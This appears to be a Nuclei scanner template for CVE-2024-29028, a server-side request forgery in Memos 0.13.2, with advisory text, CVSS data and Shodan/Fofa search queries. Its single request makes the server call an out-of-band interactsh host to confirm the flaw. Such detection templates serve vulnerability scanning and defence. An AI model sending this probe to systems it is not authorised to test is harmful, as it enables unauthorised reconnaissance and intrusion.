SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
id: CVE-2024-29028
info:
name: Memos 0.13.2 - Server-Side Request Forgery
author: ritikchaddha
severity: medium
description: |
SSRF vulnerabilities exist in the memos API service `/o/get/httpmeta` that allow unauthenticated and authenticated users to enumerate and read from the internal network. In addition, one SSRF vulnerability leads to a reflected XSS vulnerability, which may allow an attacker complete control over the administrator account.
impact: |
Attackers can make the server perform requests to arbitrary internal or external resources, potentially accessing sensitive data or internal services.
remediation: |
Update Memos to version 0.13.3 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
cve-id: CVE-2024-29028
epss-score: 0.01049
epss-percentile: 0.62545
metadata:
verified: true
max-request: 1
shodan-query: title:"Memos"
fofa-query: title="Memos"
tags: cve,cve2024,ssrf,memos,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/o/get/httpmeta?url=https://{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "dns")'
- 'contains_any(tolower(body), "memos", "title\":")'
condition: and
# digest: 490a004630440220616348ed59c6bbe488e0de0d88d03d5cca558073eddb2274f5caff9a4ec2f54d02207b26cb482c704d51f2edc012031bf572391d95c3a8f5bf6337edf3c046f5be5c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.